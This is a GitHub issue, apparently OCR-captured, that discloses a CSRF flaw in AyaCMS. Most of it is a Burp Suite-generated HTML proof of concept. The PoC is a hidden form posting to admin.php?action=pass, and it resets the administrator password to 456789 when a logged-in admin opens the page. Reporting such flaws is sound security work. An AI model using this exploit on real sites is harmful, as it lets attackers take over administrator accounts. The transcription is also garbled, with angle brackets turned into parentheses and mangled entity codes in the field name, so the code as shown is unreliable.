

New issue

<> Code ⊙ Issues 9 \$\textstyle{1}\textstyle

There is one CSRF vulnerability that can Change administrator password。 #1

```
⊙ Open Shu1L opened this issue on Jun 21, 2020 · 0 comments
```

```
ShulL commented on Jun 21, 2020

After the administrator logged in, open the following page poc: 
test.html--Change administrator password

(html)

(I-- CSRF PoC - generated by Burp Suite Professional -->
(body)

(script>history.pushState('', '', '/')</script>
(form action="http://127.0.0.1/ayacms/admin.php?action=pass&in_ajax=1" method="POST">
(input type="hidden" name="posts&91;password&993;" value="456789" />
(input type="submit" value="Submit request" />
(/forms
(/body)
(/html>

You can successfully change the administrator password to 456789
```

Jump to bottom

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

